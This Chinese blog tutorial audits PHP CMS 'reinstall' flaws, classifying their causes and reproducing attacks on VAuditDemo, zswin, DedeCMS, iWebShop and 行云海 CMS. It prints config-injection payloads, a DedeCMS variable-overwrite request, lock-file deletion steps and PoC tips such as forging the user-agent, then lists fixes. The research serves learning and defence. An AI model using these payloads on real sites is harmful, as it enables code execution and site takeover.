前言
系统学习审计也有很长一段时间了,打算把期间复现的漏洞和各种知识做一些梳理,算是一个审计系列,希望能帮助到初学者入门。
这次说的重装漏洞在早年有很多,原因大多数是判断是否安装的部分写得不严谨,而到了现在以结合其他漏洞存在导致 RCE 的占多数,因为任意删除文件导致的是最常见的。
总之,如有不当,烦请评论捉虫,我会在第一时间响应并评论提示错误,谢谢。
重装漏洞的种类
1.自动删除这个安装文件
通过生成一个 lock 文件来判断程序是否安装过。
2.根本无验证
安装完成后不会自动删除文件,又不会生成 lock 判断是否安装过。
3.安装file
直接用 GET 提交 step 绕过,直接进入下一步。
如果安装过程中存在多个页面,而且在第一个页面存在判断是否安装,可以通过直接访问后面的页面进行重装。
说白了就是安装步骤中所有页面并非都经过了 lock 文件的验证,可以直接访问。
4.变量覆盖导致重装
可以 GET,POST,COOKIE 任意提交一个变量名 insLockfile ,给其赋空值,覆盖掉 insLockfile ,从而让 file_exists 为 false 就不会退出。
5.判断 lock 后,无exit
判断是否存在 lock 文件,如果存在 lock 文件,就会 header 到 index.php ,但是 header 后并没有 exit ,所以并不会退出,类似的还有 javascript 弹个框。
6.解析漏洞
在安装完成后会将 install.php 重命名为 index.php.bak ,但是由于 Apache 的解析漏洞:如果无法识别到最后一个后缀的话,就会向上解析,那么就又变成了 php 了,然后结合安装时的变量覆盖又成重装了。
7.满足一些条件不会退出的
上述都是某牛课程里的总结,但我觉得太散了不够泛,我个人觉得精简成下面这样更好理解,每个附加了几个案例方便实践,有的在下面漏洞复现会提到:
1.没有 lock 文件验证
2.有 lock 文件验证
(1) 没有 exit 只用了 header 重定向 / 满足一些条件没有结束进程(比如虽然有 exit 但并不影响其他页面)。
这种可以通过安装过程中填写信息闭合写入配置文件利用。
(2) 安装步骤的所有页面并非都进行了 lock 文件验证,也就是验证缺陷。
这种可以直接跳步骤来利用。
CVE-2019-16314 indexhibit cms v2.1.5 重装漏洞就是这个原因。
(3) 组合拳导致重装,也就是上面两种都有,且严格,但可以通过其他漏洞删除 lock 文件 / 修改(如果是判断 lock 文件内容 / 某个 lock 相关变量)重装。
DedeCMS v5.7 的重装漏洞就是属于判断 lock 相关的一个变量,可以通过变量覆盖加解析漏洞组合来重装。
而 iWebShop v5.9.21010 则是通过任意删除文件从而删除了 lock 文件来重装。
漏洞复现
以下复现了五个漏洞,由浅入深,由易到难,都是我认为比较具有代表性的,作为一个集锦以供大家参考。
前三个仅作为学习参考,现在比较少见了,后两个是现在普遍有所存在的,利用的好就是高危。
源码戳我下载
VAuditDemo 重装漏洞
漏洞成因:有 lock 文件验证但无 exit
对应上述种类的第五种,漏洞代码如下:
这里虽然进行了 lock 文件的验证,但在重定向到 index.php 之后并没有结束进程,所以可以在安装页面抓包修改数据作为该 if 语句之后的代码执行,从而导致了重装漏洞。
我们来看安装页面提交的数据部分:
if ( $_POST ) {
...
$dbhost = $_POST["dbhost"];
$dbuser = $_POST["dbuser"];
$dbpass = $_POST["dbpass"];
$dbname = $_POST["dbname"];
...
// exp;-- -";phpinfo();//
mysql_query( "CREATE DATABASE $dbname", $con ) or die ( mysql_error() );
$str_tmp="<?php\r\n";
$str_end="?>";
$str_tmp.="\r\n";
$str_tmp.="error_reporting(0);\r\n";
$str_tmp.="\r\n";
$str_tmp.="if (!file_exists(\$_SERVER[\"DOCUMENT_ROOT\"].'/sys/install.lock')){\r\n\theader(\"Location: /install/install.php\");\r\nexit;\r\n}\r\n";
$str_tmp.="\r\n";
$str_tmp.="include_once('../sys/lib.php');\r\n";
$str_tmp.="\r\n";
$str_tmp.="\$host=\"$dbhost\"; \r\n";
$str_tmp.="\$username=\"$dbuser\"; \r\n";
$str_tmp.="\$password=\"$dbpass\"; \r\n";
$str_tmp.="\$database=\"$dbname\"; \r\n";
$str_tmp.="\r\n";
$str_tmp.="\$conn = mysql_connect(\$host,\$username,\$password);\r\n";
$str_tmp.="mysql_query('set names utf8',\$conn);\r\n";
$str_tmp.="mysql_select_db(\$database, \$conn) or die(mysql_error());\r\n";
$str_tmp.="if (!\$conn)\r\n";
$str_tmp.="{\r\n";
$str_tmp.="\tdie('Could not connect: ' . mysql_error());\r\n";
$str_tmp.="\texit;\r\n";
$str_tmp.="}\r\n";
$str_tmp.="\r\n";
$str_tmp.="session_start();\r\n";
$str_tmp.="\r\n";
$str_tmp.=$str_end;
$fp=fopen( "../sys/config.php", "w" );
fwrite( $fp, $str_tmp );
fclose( $fp );
...
可以看到 $dbxx 四个参数都没有经过任何过滤就作为 php 文件的一部分拼接到了一起,并且写入了 /sys/config.php 文件当中。
本质上这个文件还是在对是否安装以及数据库连接进行检验。
<?php
error_reporting(0);
if (!file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock')){
theader("Location: /install/install.php");
exit;
}
include_once('../sys/lib.php');
$host=$dbhost;
$username=$dbuser;
$password=$dbpass;
$database=$dbname;
$conn = mysql_connect($host,$username,$password);
mysql_query('set names utf8',$conn);
mysql_select_db($database, $conn) or die(mysql_error());
if (!$conn){
die('Could not connect: ' . mysql_error());
exit;
}
session_start();
>
$dbname 是我们可控且能修改的,对应 payload:
;-- -";phpinfo();//
ps:-- - 是为了注释 sql 语句后面的部分,后面的 - 只是为了突出-- 后的空格,并不必要。
拼接到一起即:
而安装后的 index.php 会包含这个 config.php 文件:
所以可以直接在主页看到 phpinfo 界面,当然也可以拼接一句话木马 getshell 。
利用过程:
payload:
访问主页:
zswin v2.6 博客重装漏洞
漏洞成因:可直接进入安装页面验证缺陷 + 无 exit
漏洞在于 Install/Install/Controller/IndexController.class.php 中:
zswin 是 tp 框架,我们可以看到 index 方法对于 lock 文件的验证并没有在控制器的初始化方法中,也就是说即使没有通过验证,也不影响安装,且安装页面没有对 lock 文件的验证,安装后也可访问,就可进行重装。
接下来我们来看执行安装的数据部分:
public function finish_done() {
...
$this->_show_process('注册创始人帐号');
//注册创始人帐号
//修改配置文件
$auth = build_auth_key();
// 这些数据都没有进行过滤检查
$config_data['DB_TYPE'] = $temp_info['db_type'];
$config_data['DB_HOST'] = $temp_info['db_host'];
$config_data['DB_NAME'] = $temp_info['db_name'];
$config_data['DB_USER'] = $temp_info['db_user'];
$config_data['DB_PWD'] = $temp_info['db_pass'];
$config_data['DB_PORT'] = $temp_info['db_port'];
$config_data['DB_PREFIX'] = $temp_info['db_prefix'];
$db = Db::getInstance($config_data);
$config_data['WEB_MD5'] = $auth;
// write_config 本质就是把 sqldata 下的信息写入配置文件
$conf = write_config($config_data);
// Install/Install/Common/function.php
// function write_config($config, $auth){
// if(is_array($config)){
// //读取配置内容
// $conf = file_get_contents(MODULE_PATH . 'sqldata/conf.tpl');
// $user = file_get_contents(MODULE_PATH . 'sqldata/user.tpl');
// //替换配置项
// foreach ($config as $name => $value) {
// $conf = str_replace("[{$name}]", $value, $conf);
// $user = str_replace("[{$name}]", $value, $user);
// }
// //写入应用配置文件
// file_put_contents('./App/Common/Conf/config.php', $conf);
// file_put_contents('./App/User/Conf/config.php', $user);
// return '';
// }
//}
register_administrator($db, $temp_info['db_prefix'], $temp_info, $auth);
$this->_show_process('注册创始人帐号成功');
//锁定安装程序
touch('./Data/install.lock');
...
来看 sqldata 下的配置内容:
user.tpl
<?php
/**
* UCenter客户端配置文件
* 注意:该配置文件请使用常量方式定义
*/
define('UC_APP_ID', 1); //应用ID
define('UC_API_TYPE', 'Model'); //可选值 Model / Service
define('UC_AUTH_KEY', '[WEB_MD5]'); //加密KEY
define('UC_DB_DSN', '[DB_TYPE]://[DB_USER]:[DB_PWD]@[DB_HOST]:[DB_PORT]/[DB_NAME]'); // 数据库连接,使用Model方式调用API必须配置此项
define('UC_TABLE_PREFIX', '[DB_PREFIX]'); // 数据表前缀,使用Model方式调用API必须配置此项
由上我们可以利用 DB_PREFIX 闭合(在最后一条方便处理)拼入 config.php 文件,其实和 VAuditDemo 的思路差不多。
zs_');phpinfo();//
// 拼接的效果:
define('UC_TABLE_PREFIX', 'zs_');
phpinfo();
//); // 数据表前缀,使用Model方式调用API必须配置此项
利用过程:
访问 /App/User/Conf/config.php 文件:
DedeCMS v5.7 重装漏洞
漏洞成因:利用 Apache 解析漏洞 + 变量覆盖
这个漏洞利用条件必须存在 Apache 的解析漏洞,而 DedeCMS 在安装后会把安装文件 /install/index.php 备份成 /install/index.php.bak ,存在解析漏洞时可以作为 .php 文件执行。
关于 Apache 的解析漏洞我觉得还是有必要有点说明:
参考 Apache解析漏洞详解 – milantgh – 博客园 (cnblogs.com)
并非网上所说的“低版本的 Apache 存在未知扩展名解析漏洞”。
应该是使用 module 模式与 php 结合的所有版本 Apache 存在未知扩展名解析漏洞,使用 fastcgi 模式与 php 结合的所有版本 Apache 不存在此漏洞。并且,想利用此漏洞必须保证文件扩展名中至少带有一个 .php ,否则将默认被作为 txt/html 文档处理。
另外,这也就要求利用前 install 文件夹本身没有被删除。
我们先执行安装一次,可见 /install 目录下已经有了 index.php 的备份 .bak 文件以及 lock 文件:
直接访问安装页面会提示已经安装:
接下来我们来看 index.php.bak 文件,对其进行分析:
<?php
...
$insLockfile = dirname(__FILE__).'/install_lock.txt';
...
// (1)这段的意思是,遍历数组(即通过 HTTP GET/POST/Cookies 方式传递的变量的数组)将其读取到的参数赋给 $_request,再遍历将其以键值对的形式赋值给 $_k、$_v,${$_k} 的值是 $_v 进行 RunMagicQuotes 过滤后的值。
// (3)但这里存在变量覆盖漏洞,原因是 $$_request 是引用变量,且用了 foreach 进行键值对赋值,假设我们自己传入 $insLockfile 为 snovving(随意字符串),那么 $_k 则为 insLockfile ,而 $_v 则为 snovving,${$_k}(引用 $_k 的值作为变量名) 即为 $insLockfile ,那么赋值后即 $insLockfile 的值为 snovving ,但 snovving 文件是不存在的,所以我们可以绕过验证进行重装。
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
}
// RunMagicQuotes 这个过滤函数主要是为了防注入,对于一般字符串并没有什么作用
// install/install.inc.php
//function RunMagicQuotes(&$str)
//{
// if(!get_magic_quotes_gpc()) {
// if( is_array($str) )
// foreach($str as $key => $val) $str[$key] = RunMagicQuotes($val);
// else
// $str = addslashes($str);
// }
// return $str;
//}
require_once(DEDEINC.'/common.func.php');
// (2)这判断 $insLockfile 这个变量值(即 lock 文件“正确”的绝对路径)是否存在 lock 文件,如果不存在则可重装。
if(file_exists($insLockfile))
{
exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");
}
if(empty($step))
{
$step = 1;
}
...
由上代码注释中的 3 点分析,我们可以这样构造 payload(参照法师前辈的):
http://www.localhost.com/install/index.php.bak?insLockfile=snovving&step=4
POST
step=4&dbhost=localhost&dbuser=root&dbpwd=123456&dbprefix=dede_&dbname=dedecms1&dblang=gbk&adminuser=admin&adminpwd=admin&cookieencode=JzIVw7439H&webname=%CE%D2%B5%C4%CD%F8%D5%BE&adminmail=admin%40dedecms.com&baseurl=http%3A%2F%2Flocalhost&cmspath=%2Fdedecms
step 4 对应 step 3 填写完数据后的安装过程,这样即可重装成功。
因为漏洞太过古早,phpstudy 早已没有相对应 Apache 的版本可供实现,所以仅在理论上梳理了一遍此漏洞,接下来对比 Dedecms 补丁后的 SP1 是如何修复此漏洞的:
如图使用了 define 定义为常量,也就无法通过传参来利用变量覆盖了。
最后学习一下 DedeCMS 5.7通用重装漏洞 + PoC分析 – BT’s blog (bt7k.com) 的技巧优化点,列在这方便查阅:
- $insLockfile 值最好用随机数,防止 /install 目录下恰巧有这个文件。
- 漏洞点是 index.php、index.php.bak文件,可以用字典试一下( Apache 的解析漏洞实在很少了)。
- 判断响应包时建议找全版本通用的固定出现的字符串,并选出多个 verify_key ,逐个判断,杜绝误报。
- user-agent 最好伪造。
这种类型还在 XDCMS v1.0 中出现过。
iWebShop v5.9.21010 重装漏洞导致 RCE
参考 iWebShop开源商城系统V5.9.21010存在命令执行漏洞_Y4tacker的博客-CSDN博客 ,复现学习一下,师傅本人写的已经很清楚了,在这仅进行一些补充,我觉得这是个很好的例子,这涉及到了利用其他漏洞删除 lock 文件来重装。
其实重装漏洞只要删除 install 文件基本没那么多事了。
首先进行前置工作,我们先登录后台,在 会员->商户管理->添加商户 处添加一个商户。
然后再在首页的商家管理处登录。
随便添加一个商品。
添加之后回到后台,对这三个表进行备份,并下载备份文件:
对备份文件进行如下修改:
很简单可以看到 iwebshop_goods 和 iwebshop_goods_photo 是通过一个中间表 iwebshop_goods_photo_relation 连接起来的,iwebshop_goods 的 id 从 iwebshop_goods_photo_relation 查找到 iwebshop_goods_photo 表对应的图片 id 。
这里的 2 对应的就是商品图片的 id ,无论修改为什么数字只要对应上就好,原来是图片的 md5 值,这里为了方便演示改为了 2 ,并且把商品图片的路径从 uploads/xxx.jpg 改为 lock 文件的目录即可。
这时候 /install 目录下的 lock 文件还在。
修改后再在后台进行本地导入,成功后回到商家管理界面删除我们刚才添加的商品。
删除后再看 lock 文件已经作为该商品的“图片”一并删除了:
这样我们再次访问安装页面即可重装,接下来也是常规的找能写入配置文件的数据闭合达到 RCE 的目的。
payload:
hacktest','snovving'=>phpinfo()))))?>
安装完成后访问前台:
接下来我们来看代码层面是什么样的。
首先看导致任意文件删除部分,对应后台上传备份文件的地方,找到相应控制器部分:
controllers/tools.php
classes/dbbackup.php 中 parseSQL 对备份文件进行解析时,根据截取的前 2 字符判断SQL类型:
而我们之前下载的备份文件是以 DROP TABLE IF EXISTS iwebshop_goods;
开头,进入默认分支:
可以看到只对进入分支的每行数据添加了 ;
来分句,并无其他过滤。
而上传完备份文件后,我们来看商家管理删除商品的部分。
controllers/seller.php
跟进 del :
classes/goods_class.php
对删除的文件也没有任何限制就直接 unlink 删除了。
关于寻找配置信息构造闭合的部分,可以从 install/index.php 入手。
install/include/function.php
跟踪 create_config :
可以看到没有任何过滤。
构造部分,可以参照与 config.php 默认的模板文件:
db_name 是最后的参数,且是我们可控的,我们可以利用这个传入 phpinfo 并闭合前面 array 并添加 php 文件结尾避免后面的 ')
等字符干扰,就得到 payload :
hacktest','snovving'=>phpinfo()))))?>
因为后台修改商品导致任意文件删除导致重装还有 WFPHP 也曾经存在这个问题。
行云海 CMS 重装漏洞
tp 框架,先安装一遍。
一般任意文件删除可以用 Seay 或者全局搜索 unlink 发现,审计整个项目的时候可以从一些公共类文件入手(比如放在什么 /inc 文件目录下的或名称有 .class 的),更别说是数据库相关的方法了,这次的漏洞就在于:
App/Manage/Controller/DatabaseController.class.php
也是对删除文件没有限制就删除了。
路径:
登录后台,找到了数据库管理模块(这里其实对 tp 框架路由有了解的直接访问 s=/Database/方法 即可 )
随便给几个表备份一下,这里我们利用 POST 传递 lock 文件的路径(关于这个个人习惯是 POST 最好利用,因为 GET 有 URL 编码限制,请求提交的数据还有长度限制,很多时候比不上 POST 方便安全,当然这里也可以通过 GET 发送 payload,一般 GET 只读,而 POST 写),我们在批量删除的时候抓包复制下 url 。
根据目录改成 lock 文件相对的路径再发包即可。
前台删除导致重装的可以参考一下天目 MVC Home 版 T2.13 的重装漏洞。
修复建议&一些思考
1.正确处理 lock 文件
2.判断安装完成后要退出
3.在安装的每一步都要进行验证
4.所有输入点都要进行过滤,特别涉及到数据库的操作
5.最后的最后,就是删除 /install 文件,多看看安装后的温馨提示
另外实际渗透中,涉及一些重要数据还是不要利用重装漏洞,毕竟最珍贵的还是数据。